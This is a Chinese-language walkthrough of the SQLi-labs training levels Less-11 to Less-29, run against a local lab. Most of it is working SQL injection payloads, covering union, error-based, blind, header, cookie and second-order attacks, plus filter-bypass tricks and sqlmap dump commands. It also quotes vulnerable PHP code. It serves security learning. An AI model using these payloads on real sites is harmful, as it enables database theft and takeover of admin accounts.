  • 仅凭以上信息还不足以确认存在 SQL 注入点,我们依然可以使用之前的老方法,由于涉及两个参数且均为字符串,因此直接考虑字符型注入即可。直接传入转义字符 \,若网页可以回显报错,那么就可以直接看到闭合符号。所幸,作为 POST 方法的第一关,回显报错还是有的,因此可以直接看到闭合符号为单引号 '

  • 到这里呢,就确定是闭合符号为单引号的字符型注入点了。而且网页的响应规则也与 Less-1 一致,即查询成功便回显用户名密码,出现错误则回显报错信息,不同的只是本题 payload 将从方框中以 POST 方法提交,而且可以是任一个方框。接下来首先对 SQL 语句的查询列数进行判断,构造 payload 如下:

    1
    ' or 1=1 order by 1#

    其中单引号将原语句中的单引号闭合,而 or 1=1 则用于保证条件为真,即查询始终成功。在 GET 方法时代,一般都使用 --+ 作为注释符(加号在这代表空格),这是由于 # 在 URL 中有他的特殊使命,而到了 POST 方法时代,直接以 # 作为注释符不失为最好的选择。实测本题中共查询两列:

  • 由于只查询两列,浏览器本身也只回显两个数据,即用户名与密码,因此对于回显位的判断并不必要,但是,严谨很重要!所以这里依然对回显位进行判断,构造 payload 如下:

    1
    ' and 1=2 union select 1,2#

    其中 and 1=2 保证条件为假,因此可保证查询结果为 12 两个数字,回显结果如图所示:

  • 剩余步骤则基于回显判断的 payload,将数据置于数字 12 的位置即可,原理以及实际执行与 Less-1 基本一致,故不做赘述,这里举例各步骤所使用的 payload

    1. 获取数据库名

      1
      ' and 1=2 union select database(),2#
    2. 获取表名

      1
      ' and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
    3. 获取列名

      1
      ' and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema='security'),2#
    4. 获取数据

      1
      ' and 1=2 union select (select group_concat(concat_ws('  -  ',id,email_id) separator '<br>') from emails),2#

SQLMap 工具注入

  • 之前使用工具注入时都是基于 GET 方法,直接通过 URL 传递数据即可,而如今都是通过 POST 方法了,因此数据就需要以 --data 参数形式传入了,当然在注入之前,还需要知道传递数据的格式(主要为变量名)。在 GET 时代是明确告诉我们变量名为 {% kbd id,今时不同往日啊 %}。不过这也不困难,在浏览器中 F12 检查然后点击提交表单即可在网络部分直接看到通过 POST 方法提交的变量名及数据。

    点击右上角 Raw 即可查看报文的原文,这也就是我们需要传递的数据内容以作为注入点。

  • 由上就可以构造如下命令,轻松完成数据获取:

    1
    sqlmap -u http://localhost/sqli-labs/Less-11/ --data='uname=&passwd=&submit=Submit' --dump --batch
  • 当然,都使用工具注入了,还需要手动获取变量名,实在算不上优雅,况且获取变量名本身也是非常机械化的操作。可以直接使用 --forms 参数,工具就会自己抓包并分析信息完成注入,命令如下:

    1
    sqlmap -u http://localhost/sqli-labs/Less-11/ --forms --dump --batch

Less-12

POST - Error Based - Double Quotes - String - with twist

主界面没有任何变化,安心进入 POST 日常。

  • 依然先简单测试一下网页,使用简单密码 admin 登录成功,网页回显用户名与密码。使用转义字符 \ 发生错误,网页回显错误信息。因此可以判断本题与 Less-11 基本一致,唯一的区别在于闭合符号换成了双引号加小括号 ") 的形式。

  • 那么后续步骤便不需过多赘述了,这里示例最后对于 users 表中所有数据的查询所使用的 payload

    1
    ") and 1=2 union select (select group_concat(concat_ws('  -  ',id,username,password) separator '<br>') from users),2#

    查询结果如图所示,不得不说从 Less-1 构造并沿用至今的格式化数据导出实在是令人赏心悦目😎。

Less-13

POST - Double Injection - Single Quotes - String - with twist

熟悉的界面,POST 时代没有单独 logo 的界面实在有些贫寒之感。

  • 首先依然简单对网页做个测试,用户名密码 admin 登录成功,不过这次不再回显用户名和密码了,继续传入转义字符 \,浏览器依然会回显报错信息,因此本题就需要使用报错注入,将数据从报错信息中导出。同时可以注意到,本题的闭合符号为单引号加小括号 ') 形式。

  • 很遗憾,报错注入也从 Less-5 开始被应用,因此不再赘述,这里示例查询 users 表中首行数据的 payload

    1
    ') and extractvalue(1,concat('~ ',(select concat_ws('  -  ',id,username,password) from users limit 0,1),' ~'))#

    结果如图所示,继续逐行查询即可获取完整数据。

Less-14

POST - Double Injection - Double Quotes - String

看副标题就知道依旧没有重大变化,因此继续慢慢训练。

  • 照例测试网页,依然只回显报错,唯一的变化在于本题闭合符号为双引号 "

  • 方法与前述关卡一致故不作赘述,将闭合符号修改即可,这里依然示例查询 users 表中首行数据的 payload

    1
    " and extractvalue(1,concat('~ ',(select concat_ws('  -  ',id,username,password) from users limit 0,1),' ~'))#

Less-15

POST - Blind - Boolian/time Based - Single quotes

虽然页面依旧,不过副标题告诉我们,是盲注!

手工注入

  • 先检查检查网页,发现正常与错误情况下浏览器都将不回显任何数据信息,只有登录成功与失败的图标可用于判断,因此,又回到了布尔盲注。

  • 那么转义字符就不再可以帮助我们直接获取闭合符号了,当然通过布尔盲注获取闭合符号的操作也是从 Less-1 时便开始使用了,不过到了 POST 时代,形式就该有些许变化了,使用如下 payload

    1
    2
    ' or 1=1#
    " or 1=1#

    其中 1=1 依然用于保证条件为真,因而当且仅当闭合符号达成有效闭合时才可成功登录。实测闭合符号为单引号:

  • 接下来就是布尔盲注的老桥段了,先判断数据值的长度,然后根据长度逐个字符对数据进行提取,以获取数据库名为例构造 payload 如下:

    1
    2
    ' or length(database())<10#
    ' or ascii(substr(database(),1,1))>78#

    通过修改数值即可逐步获取数据,后续对于各表中数据的提取则参考 Less-8 中对于 payload 的修改即可,此处不再赘述。

SQLMap 工具注入

  • 鉴于布尔盲注的复杂程度,还是建议使用工具来完成,这里我们也指定使用延时盲注(貌似因为没有具体数据区别导致工具无法完成布尔盲注,因此只能使用延时盲注,不过这依然符合题意)。命令如下:

    1
    sqlmap -u http://localhost/sqli-labs/Less-15/ --forms --dump --batch --technique T

Less-16

POST - Blind - Boolian/time Based - Double quotes

老样子的主界面,最近几关极度舒适,冲啊网安人。

  • 实测本题依然与前述关卡基本一致,唯一的变化在于将闭合符号修改为了双引号加小括号的形式 ")顺带提一句,截图中的转义字符是浏览器显示时区别于自身符号而自动添加的,并不影响实际上传的数据内容。

  • 后续操作则依然修改前述关卡中的闭合符号即可,此处不做赘述,作为示例列出判断 emails 表中首行数据首字母所使用的 payload

    1
    ") or ascii(substr((select concat_ws('  -  ',id,email_id) from emails limit 0,1),1,1))>78#

Less-17

POST - Update Query - Error Based - String

重大变化!页面顶部出现了一行字符:[PASSWORD RESET] ,此外在输入框中也可以看到,不再是用户名与 Password 密码,而是 New Password 新密码。因此该页面不再用于登入,而是用于修改密码,甚至不用核对原密码。

  • 首先尝试简单用户名 admin,随便修改一个密码,网页回显巨大的密码修改成功的图片。而对于其他任意非法用户名都将修改失败并且回显一句问候。

    不过,如果用户名正确,我们构造的新密码就可以引起报错,这也说明程序对用户名作了过滤操作。事实上偷看源码可知程序确实构造了 check_input() 函数来过滤用户名处输入的数据。

    那其实就可以利用这种情况实现报错注入了,只要保证用户名正确即可。

  • 由于实际注入点在密码处,因此在注入之前依然需要确定闭合符号,用户名使用 admin 即可,在新密码一栏分别输入单引号提交再输入双引号提交,可以发现单引号造成了报错,而双引号则修改成功,因此对数据的最近闭合符号为单引号。

  • 知道闭合符号,并且浏览器可以回显报错,那就可以直接报错注入了,使用 POST 方式提交如下数据即可获得数据库名,这里使用的是 extractvalue() 函数报错。

    1
    uname=admin&passwd=' and extractvalue(1,concat(0x7E,(select database()),0x7E))#&submit=Submit

    当然 floor 报错注入依然适用,不过需要注意的是 and 运算符之前需要为真值,据笔者测试时程序的种种反应来看,此处貌似会发送逻辑短路,但是 extractvalue() 等函数报错使用时却不存在这类问题。留个坑,希望以后能回答这个问题。

    1
    uname=admin&passwd=1' and (select 1 from (select count(1) from users group by concat(floor(rand(0)*2),database()))x)#&submit=Submit
  • 老规矩,留个最终数据获取的 payload 在此作为参考。使用extractvalue() 函数获取 emails 表中第一行数据的 payload 如下:

    1
    uname=admin&passwd=' and extractvalue(1,concat('~ ',(select concat_ws('  -  ',id,email_id) from emails limit 0,1),' ~'))#&submit=Submit

    使用 floor 获取 users 表中第三行数据的 payload 如下:

    1
    uname=admin&passwd=1' and (select 1 from (select count(*),concat((select concat_ws('  -  ',id,username,password) from users limit 2,1),floor (rand(0)*2))x from users group by x)a)#&submit=Submit

Less-18

POST - Header injection - Uagent field - Error based

又是普通的登录框,不过下面新增了用户 IP 地址的显示。

手工注入

  • 在经过多次注入尝试之后,浏览器始终仅回显登录失败,甚至延时注入都无效,因此本题对于这两个输入均作了过滤。

  • 咱们小白要继续黑盒就有些困难了,因此审计一下源代码,其中重要代码如下。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    $uagent = $_SERVER['HTTP_USER_AGENT'];
    $IP = $_SERVER['REMOTE_ADDR'];

    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
    // 对两个传入数据均进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    ...
    // 将用户 uagent IP 以及 uname 写入 uagents 表中
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    mysqli_query($con,$insert);
    ...
    // 输出报错信息
    print_r(mysqli_error($con));
    ...
    }

    审计代码可知,程序确实对用户名与密码作了过滤,但是还存在另外的对于数据库的操作:程序会将用户的请求头的 User-Agent、IP 地址以及用户名写入数据库中的 uagents 表中,也就是此前爆破出来时一直空白的那张表,现在派上用场了。其中 IP 地址并不能用来完成注入,因为我们不能修改,用户名也存在过滤,但是 User-Agent 是我们可以任意更改的,因此可以从这里注入。此外注入时需确保登录信息正确,因为身份验证发生于注入点之前。

  • 源码中可以看出 INSERT 处若执行错误则会在浏览器中回显报错信息,因此这里使用报错注入即可,值得注意的是此处注入点末尾不应携带注释符,因为后续语句被注释会导致语法错误而无法进一步执行。如下为使用 extractvalue() 报错的 payload

    1
    ' and extractvalue(1,concat(0x7E,(select database()),0x7E)) and '

    其中首尾单引号分别与数据位前后的单引号闭合,这样 User-Agent 数据就为正规的表达式了,执行结果如下图,可以看到浏览器回显的 User-Agent 内容已经变成了注入的 payload,紧随其后便是报错信息,成功查询出了数据库名。

  • 最后这里给出使用 floor 完成获取 users 表中第三行数据的 payload,值得注意的是此处使用 and 连接时依然需要保证之前数据为真值,当然也可以如下换成 or 来完成,保证此前为假值即可。

    1
    0' or (select 1 from (select count(*),concat((select concat_ws(' - ',id,username,password) from users limit 2,1),floor (rand(0)*2))x from users group by x)a) and '

SQLMap 工具注入

  • 涉及到头文件的修改,因此工具注入该更新了。首先从浏览器把请求头复制下来保存至本地,记得带上请求的数据,当然此处也可直接抓包整个拿下。保存好后将 User-Agent 字段内容如下修改为星号即可用于 SQLMap 注入。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /sqli-labs/Less-18/ HTTP/1.1
    Host: [IP地址/域名]
    User-Agent: *
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 38
    Origin: http://[IP地址/域名]
    Connection: keep-alive
    Referer: http://[IP地址/域名]/sqli-labs/Less-18/
    Upgrade-Insecure-Requests: 1

    uname=admin&passwd=admin&submit=Submit
  • 之后输入如下命令就可通过现有数据包来完成注入了,可使用 --threads 加入多线程来提高速度。

    1
    sqlmap -r ./header.txt --batch --dump --threads 10
  • 此外也可不引用数据包,指定 --user-agent 参数即可,命令如下。

    1
    sqlmap -u "http://localhost/sqli-labs/Less-18/" --user-agent="*" --batch --dump --threads 10

Less-19

POST - Header injection - Referer field - Error based

本题界面与前一关一致,依然带有用户 IP 地址的显示。

  • 测试发现本题各项表现均与前一关一致,不过 User-Agent 字段并不能用于注入了,根据标题来看应该是改成了消息头中的其他字段。审计源代码发现仅修改如下语句,其中使用 insert 语句插入数据库的数据变成了 IP 地址和消息头中的 referer 字段。

    1
    2
    3
    $uagent = $_SERVER['HTTP_REFERER'];
    $IP = $_SERVER['REMOTE_ADDR'];
    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
  • 然后的注入步骤便与 Less-18 基本一致了,仅需将 payload 放入 referer 字段即可,甚至 payload 都不用变。此处不作赘述。

Less-20

POST - Cookie injection - Uagent field - Error based

本题 LOGO 回归,本以为基础部分还有两题的,结果这已经是最后一题了。依旧是标准登录框,根据副标题,这次应该要在 cookie 上动手脚了。

  • 测试本题依旧对用户名密码作了限制,在用正确密码登录成功后会显示用户的许多信息,并且底部提供了删除 cookie 的按钮,说明本题确实使用了 cookie这应该是目前颜值最高的界面了吧。

    此时重新载入页面会发现页面会保持登录状态,这说明 cookie 起作用了,但是从页面中可以看出,cookie 的内容实际上仅包含用户名与时间戳,而浏览器却额外回显了用户密码与用户 ID,所以后台根据 cookie 值再次进行了数据库的查询。

  • 首先在 cookie 中加入反斜杠,页面报错并且显示出数据闭合符号为单引号。

    因为能够回显报错信息且正常查询有能够显示用户名密码,所以本题可以使用联合查询注入与报错注入。由于报错注入与此前关卡几乎一致,故不作赘述,此处直接联合查询注入。

  • 联合查询注入需注意第一部分查询失败才可显示出我们指定的查询内容,具体步骤可参考 Less-1,将注入语句赋值给数据报中的 cookie 字段的 uname 变量即可。如下为查询 users 表中全部数据的 payload

    1
    ' union select 1,(select group_concat(concat_ws('  -  ',id,username,password) separator '<br>') from users),3#

    查询结果如图,数据显示在原本用户名的位置处,并且已经整齐排列好。

高级注入

Less-21

Cookie injection - base63 encoded - single quotes and parenthesis

喜迎进阶训练,虽然界面变化不大,但是副标题足以看出些许进阶。

手工注入

  • 本题具体表现与前一关一致,均对用户名密码作了过滤,而登录成功之后则会显示用户信息,不过 cookie 中的用户名显然进行了 base64 编码。

  • 也就是说,程序在查询数据库时,会先将 uname 的数据进行 base64 解码,而之前的 payload 都是明文所以无法解码完成注入。解决方式也很简单,把 payload 进行一次 base64 编码即可,不过在此之前,我们需要先加入反斜杠后编码注入,确认闭合符号为单引号加一个小括号。

  • 然后将以下 payload 编码后注入即可。

    1
    ') union select 1,(select group_concat(concat_ws('  -  ',id,username,password) separator '<br>') from users),3#

    其中编码后的序列如下:

    1
    JykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0X3dzKCcgIC0gICcsaWQsdXNlcm5hbWUscGFzc3dvcmQpIHNlcGFyYXRvciAnPGJyPicpIGZyb20gdXNlcnMpLDMj

SQLMap 工具注入

  • 工具的使用与此前基本一致,不过对于数据的 base64 编码需要使用 base64encode 插件来完成,因此这里留个示例命令:

    1
    sqlmap -u "http://localhost/sqli-labs/Less-21/" --cookie="uname=*" --tamper="base64encode" --batch --dump --threads 10

Less-22

Cookie injection - base63 encoded - double quotes

本题主界面换了个色号,副标题透露变化不大。

  • 实测本题与上一关基本一致,甚至登录后 LOGO 还是显示 Less-21 的 LOGO. 不过在添加反斜杠后可以发现,本题的闭合符号变成了双引号,仅此而已。

  • 因此直接修改之前的 payload 如下即可:

    1
    " union select 1,(select group_concat(concat_ws('  -  ',id,username,password) separator '<br>') from users),3#

    编码后序列如下:

    1
    IiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb25jYXRfd3MoJyAgLSAgJyxpZCx1c2VybmFtZSxwYXNzd29yZCkgc2VwYXJhdG9yICc8YnI+JykgZnJvbSB1c2VycyksMyM=

Less-23

GET - Error based - strip comments

重大变化,回归 GET 时代。

  • 本题在 ID 正确输入的情况下会回显对应用户名与密码,而且浏览器可以回显报错信息,可以看出闭合符号为单引号,事实上经过测试还可以发现,注释符被过滤了。

  • 也就是说我们需要绕过注释符,其余的与 Less-1 几乎一致。而注释符本质上是为了直接抹去后续未配对的闭合符号影响 SQL 语句执行,所以只需使闭合符号与其后语句再次闭合即可绕过,也就是说在 Less-1payload 末尾追加单引号即可。

    1
    ?id=-1' union select 1,(select group_concat(concat_ws('%20 -%20 ',id,username,password) separator '<br>') from users),3'

Less-24

POST - Second Oder Injections *Real treat* - Stored Injections

重大变化,不仅有登录框,还新增了修改密码与注册等功能页。

  • 这里整理一下各页面以及功能的关系结构。

    首页

    登录

    1. 登录失败跳转到提示页面。
    2. 登入成功跳转用户界面,页面内提供修改密码以及登出的功能。

    忘记密码:提示忘了密码就直接拿下网站。

    注册

    1. 注册账户后 5s 会自动跳转登录页面。
    2. 用户名重复则会弹窗提醒并返回注册页面。
  • 继续黑盒就有点困难了,因此直接审计源码,后台在注册与登录时都使用了 mysql_real_escape_string 函数对输入的用户名密码进行过滤,该函数会将数据中的特殊字符转义,即添加 \。但是在修改密码时,程序却并没有对用户名进行过滤。如下为各文件中关键代码,笔者已进行适配 PHP 8.1 的修改,程序功能不变。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // login.php
    $username = mysqli_real_escape_string($GLOBALS['con'],$_POST["login_user"]);
    $password = mysqli_real_escape_string($GLOBALS['con'],$_POST["login_password"]);

    // login_create.php
    $username= mysqli_real_escape_string($GLOBALS['con'],$_POST['username']) ;
    $pass= mysqli_real_escape_string($GLOBALS['con'],$_POST['password']);
    $re_pass= mysqli_real_escape_string($GLOBALS['con'],$_POST['re_password']);

    // pass_change.php
    $username= $_SESSION["username"];
    $curr_pass= mysqli_real_escape_string($con,$_POST['current_password']);
    $pass= mysqli_real_escape_string($con,$_POST['password']);
    $re_pass= mysqli_real_escape_string($con,$_POST['re_password']);

    过滤操作仅仅是进行转义,字符并没有被改变,因此若注册含有特殊字符的用户名程序便会将特殊字符转义为普通字符原样存入数据库中,由于改密步骤缺少过滤,所以只需要进行改密特殊字符便会生效,这也就是二次注入。此外,本题考点为修改管理密码以获取管理账户,从某种角度来说,拿到控制权远比信息泄露要恐怖。

  • 作为参考,这里给出修改密码时的 SQL 语句:

    1
    UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

    可以看出,只需注册的用户名为 admin'# 语句就可以成功闭合同时将后续注释,就变成了修改 admin 密码。

    1
    UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
  • 首先就需要先注册对应特殊用户名,登录后即可在用户名处看到特殊字符。

    此时修改密码就可以完成对 admin 账户密码的修改,随后使用该密码即可登录 admin 账户。

Less-25

GET - Error based - All your OR & AND belong to us - String single quote

本题界面有些丰富,大大的提示貌似在说后台会把 AND 和 OR 给过滤掉。

  • 正常提交 id 后页面会回显用户名与密码,且底部会显示成功提交的数据。而带入特殊字符后浏览器可回显报错,暴露闭合符号为单引号。而实测 andor 确实被过滤了,但只是一次过滤,因此如图这样双写即可绕过。

  • 那问题就不大了,依然可以使用 Less-1payload 拿到所有数据,仅需注意将关键字处双写即可。如下为最终查询 users 表中所有数据时使用的 payload,其中 password 需要双写为 passwoorrd,而 separator 则需要双写为 separatoorr

    1
    ?id=-1' union select 1,(select group_concat(concat_ws('%20 - %20',id,username,passwoorrd) separatoorr '<br>') from users),3--+
  • 此外,本题若是使用报错注入,则还可以使用 &&|| 来替换 andorpayload 如下:

    1
    ?id=1'||extractvalue(1,concat('~ ',(select concat_ws('%20 - %20',id,email_id) from emails limit 0,1),' ~'))--+

    值得注意的是,若使用 && 连接,则需要使用其 URL 编码 %26%26,原因同 GET 注入时不能使用 # 符号相同,都是在 URL 中有特殊意义的字符。

    1
    ?id=1'%26%26extractvalue(1,concat('~ ',(select concat_ws('%20 - %20',id,email_id) from emails limit 0,1),' ~'))--+

Less-25a

GET - Blind based - All your OR & AND belong to us - Intiger based

没想到上一题以及后续几题都有附赠的一道姊妹题,界面上看只是变了个色号而已。

  • 本题正常提交 id 后会回显用户名密码,但是构造报错 SQL 语句时浏览器并不会回显报错信息,但是底部依旧会回显成功注传入的数据,根据这部分参考可以发现本题依然对 andor 进行了单次过滤。

  • 接下来就需要手动查出闭合符号才能进一步注入,在尝试单双引号后发现程序都没有正常回显,因此大概率是整形注入,使用如下 payload 可进一步验证:

    1
    2
    ?id=1 aandnd 1=1
    ?id=1 aandnd 1=2

    通过逻辑运算符可以左右查询结果则为无闭合符号包裹的整形注入,测试结果如图,可确认为整形注入。

  • 确认闭合符号又确认对 andor 进行了单次过滤,因此只需将前一题的 payload 的闭合符号去掉即可,如下:

    1
    ?id=-1 union select 1,(select group_concat(concat_ws('%20 -%20 ',id,username,passwoorrd) separatoorr '<br>') from users),3--+

Less-26

GET - Error based - All your SPACES and COMMENTS belong to us

本题更换了提示,貌似又屏蔽了一些字符。

  • 正常提交 id 依旧可以回显用户名和密码,所以联合注入基本可用,此外浏览器依然能够回显报错信息。经过测试不仅对 andor 进行了单次过滤,还对注释符、空格以及正反斜杠均作了过滤,其中注释符的过滤包括 */-#。此外,通过单引号引发的报错信息可以看出本题的闭合符号仅为单引号。

  • 那么主要任务就是在 Less-25 的基础上增加对空格以及注释符的绕过即可,其中注释符的过滤使用闭合符号将后续闭合即可,而空格则可以使用 A0 绕过,当然,由于 [MySQL 版本问题](#MySQL 版本问题),如下为 MySQL 5 环境下的 payload。其中由于 - 被过滤,所以此前一直使用 -1id 值使其查询失败以让浏览器能回显 union 后半部分查询结果的操作就需要改成其他任意不能成功查询的值了。

    1
    ?id=0'union%a0select%a01,(select(group_concat(concat_ws('%7f~%7f',id,username,passwoorrd)%a0separatoorr%a0'<br>'))from%a0users),3'

    值得注意的是,隔离字符处若使用 %A0 会因为字符集不匹配而报错,毕竟它已经不是 Ascii 初等字符表之内的数据了,虽然可以使用字符集转换函数,不过为了美观笔者此处使用了 %7f。该字符为退格符,实际显示出来为空格,一些浏览器可能无法显示为空格,当然只是看起来,并不能起到空格的作用。这也算是笔者试图利用其绕过但是失败后最大的收获吧。

  • 虽然上述解法在 MySQL 8 环境中不行,但是依然可以使用其他解法,比如使用小括号来包裹以绕过空格来执行联合注入,理论上 payload 如下:

    1
    ?id=0'union(select(1),(select(group_concat(concat_ws('%7f~%7f',id,username,passwoorrd)separatoorr'<br>'))from(users)),3)'

    实际使用会发现,末尾的单引号未能有效闭合,这是因为 union 运算符后的 select 语句已经被小括号完整包裹了,此时无论直接加单引号或使用其他运算符连接单引号都不能形成有效的表达式。而解决方法也还是有的,不能闭合就想别的办法无视单引号,在 SQL 语句中不仅注释符可以起到无视作用,分号也可以,他代表一个语句的结束,而其后的非法语句则可以利用 %00 来在 PHP 中截断,不难发现 ;%00 实际上就等效于注释符。因此将上述 payload 修改如下即可爆出 users 表中的所有数据:

    1
    ?id=0'union(select(1),(select(group_concat(concat_ws('%7f~%7f',id,username,passwoorrd)separatoorr'<br>'))from(users)),3);%00

    至于为何不能直接传入 %00 而不用分号,这是因为 %00 本身对于 MySQL 来说就是一个非法字符,因此有必要在其之前就让语句终止。

  • 当然,根据副标题,本题的正规解法其实还是报错注入,笔者一直都是能联合就不报错,毕竟联合查询一把就能爆出整个表,实在是痛快,过瘾啊!不过这里还是得啰嗦一句报错注入,因为抛弃了 union 运算符后,就不必为使用括号绕过空格时引号闭合的问题担心了,末尾直接通过 andor 运算符连接单引号都可以直接绕过注释。payload 如下:

    1
    ?id=1'||extractvalue(1,concat('~',(select(concat_ws('%20 -%20 ',id,email_id))from(emails)where(id=1)),'~'))||'

    其中由于 limit 语句着实不太好用小括号绕过,因此这里换成了使用 where 语句判断 id 值得方式逐行爆数据。不过本题这样注入来获取 users 表的意义不大,毕竟……直接传入 ID 值得效果是一样的。

Less-26a

GET - Blind based - All your SPACES and COMMENTS belong to us - String single quotes - Parenthesis

再次进入姊妹题,本题界面除了色号以外,还在提示图中为 SPACE 和 COMMENTS 加了单引号,根据副标题提示,题中的闭合符号应该又变了。

  • 经过测试,本题所屏蔽的内容与前一关一致,但是不会再显示报错信息,因此不能进行报错注入。但是因为依然会回显用户名密码,因此联合注入依然成立,不过在此之前还是应该判断闭合符号。判断方法当然是沿用 Less-1 就开始使用的老方法,只不过由于注释符被屏蔽,因此需要使用 ;%00 来替换。最终通过如下两个 payload 的表现即可确定本题闭合符号为单引号加一个小括号。

    1
    2
    ?id=1';%00
    ?id=1');%00
  • 确认闭合符号后直接修改前一关联合注入的 payload 即可:

    1
    ?id=0')union(select(1),(select(group_concat(concat_ws('%7f~%7f',id,username,passwoorrd)separatoorr'<br>'))from(users)),3);%00

Less-27

GET - Error based - All your UNION & SELECT Belong to us - String - Single quotes

本题界面在此换了提示图,强调其过滤了 UNION 与 SELECT。

  • 稍作测试可以发现本题依然过滤了空格与注释符,增加了对于 UNION 与 SELECT 的过滤,但是并没有对 andor 作过滤。为了便于分析,这里列出本题过滤部分的源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    // 过滤 /* --  #
    $id= preg_replace('/[\/\*]/',"", $id);
    $id= preg_replace('/[--]/',"", $id);
    $id= preg_replace('/[#]/',"", $id);

    // 过滤空格
    $id= preg_replace('/[ +]/',"", $id);

    // 严格过滤 select,即不能双写绕过
    $id= preg_replace('/select/m',"", $id); //Strip out spaces.

    // 再次过滤空格
    $id= preg_replace('/[ +]/',"", $id); //Strip out spaces.

    // 过滤 select 和 union 的全小写、全大写与首字母大写版本,即依然可以大小写绕过
    $id= preg_replace('/union/s',"", $id); //Strip out union
    $id= preg_replace('/select/s',"", $id); //Strip out select
    $id= preg_replace('/UNION/s',"", $id); //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id); //Strip out Union
    $id= preg_replace('/Select/s',"", $id); //Strip out select

    可以发现程序过滤的空格仅仅是空格这个字符而已,所以可以轻易绕过,而对于 UNION 的过滤也仅限于全小写、全大写与首字母大写版本,不过对于 SELECT 的过滤在此基础上还增加了全小写的多行匹配(m),因此 select 并不能使用双写绕过。此外,本题可以回显报错,因此依然可以报错注入,同时确认闭合符号为单引号。当然,我选联合注入。

  • 虽然上述匹配规则非常多,但是显然大小写即可绕过对于 UNION 与 SELECT,并且 UNION 还能使用双写绕过。那么现在就可以非常容易地绕过了,如下 payload,直接使用 %09 水平定位符绕过空格,大小写绕过 select,双写绕过 union,十分顺滑 users 表就全体出来了。

    1
    ?id=0'uniunionon%09selEct%091,(seleCt(group_concat(concat_ws('%09~%09',id,username,password)separator'<br>'))from%09users),3'

Less-27a

GET - Blind based - All your UNION and SELECT Belong to us - Double quotes

再次姊妹题,再次改了色号并在提示图中添加了单引号。

  • 稍作测试或者不作测试可知,本题过滤项并没有修改,但是回显报错还是被取消了,因此还是需要手动判断注释符才可进入下一步,由以下两个 payload 可知闭合符号仅为双引号。

    1
    2
    ?id=1"
    ?id=1";%00
  • 然后直接修改上一题的 payload 即可。

    1
    ?id=0"uniunionon%09selEct%091,(seleCt(group_concat(concat_ws('%09~%09',id,username,password)separator'<br>'))from%09users),3"

Less-28

GET - Error based - All your UNION & SELECT Belong to us - String - Single quote with parnthesis

本题过滤的主角依然是 UNION 与 SELECT。

  • 测试本题依然可以回显用户名密码,但是不能回显报错。此外,单独的 UNION 与 SELECT 都不会被过滤,只有连在一起使用时才会被过滤,过滤部分的源代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 过滤注释符
    $id= preg_replace('/[\/\*]/',"", $id);
    $id= preg_replace('/[--]/',"", $id);
    $id= preg_replace('/[#]/',"", $id);

    // 过滤空格
    $id= preg_replace('/[ +]/',"", $id);
    $id= preg_replace('/[ +]/',"", $id);

    // 过滤 union[空白字符]select 形式的序列,且匹配大小写,即该处不能使用大小写绕过
    $id= preg_replace('/union\s+select/i',"", $id);

    可以看出相较前一关,本题针对性过滤了 union 运算符的使用,但是双写或者在适宜环境下替换空白字符为 %A0 等便可以绕过。

  • 没有报错的话就有需要手工确认闭合符号了,因为过滤了注释符,所以依然需要使用 ;%00 来替代,由如下两个 payload 的回显反应即可值得闭合符号为单引号加小括号。

    1
    2
    ?id=1';%00
    ?id=1');%00
  • 然后就可以编写如下 payload 了,其中空格使用 %09 代替,而 union%09select 则需要整段双写,值得注意的是因为小括号的存在所以尾部使用闭合绕过需要使用 andor 来连接。

    1
    ?id=0')union%09union%09selectselect%091,(select(group_concat(concat_ws('%09~%09',id,username,password)separator'<br>'))from%09users),3%09and('

Less-28a

GET - Blind based - All your UNION & SELECT Belong to us - Single quote - parnthesis

最后一次进入姊妹题,主角依然是 UNION 和 SELECT。

  • 本题依然会回显用户名密码,也不会报错,可以很轻易地发现本题闭合符号也没变,依旧是单引号加小括号地形式。不过,本题仅留下了如下的一句过滤语句,即现在空格和注释符均可以正常使用了。

    1
    $id= preg_replace('/union\s+select/i',"", $id);	
  • 那么上一题的 payload 便依然适用了,不过为了美观,这里留个空格和注释回归的 payload

    1
    ?id=0')union union selectselect 1,(select(group_concat(concat_ws(' ~ ',id,username,password)separator'<br>'))from users),3--+

Less-29

GET - Error based - IMPIDENCE MISMATCH - Having a WAF in front of web application

本题不再提示过滤字符,但是加了防火墙。

  • 正常传入 ID 会回显用户名和密码,浏览器可以回显报错,而且,实测主页直接进行联合注入便可注入成功,没有任何过滤,payload 如下:

    1
    ?id=0'union select 1,(select(group_concat(concat_ws(' ~ ',id,username,password)separator'<br>'))from users),3--+
  • 虽然主页面很容易就过去了,但是查看源码可发现,考点实际上位于另一个文件 login.php 中,该文件与首页大体相比除了底部加了两个 pdf 外链以外,还作了如下修改,主要添加了两个函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
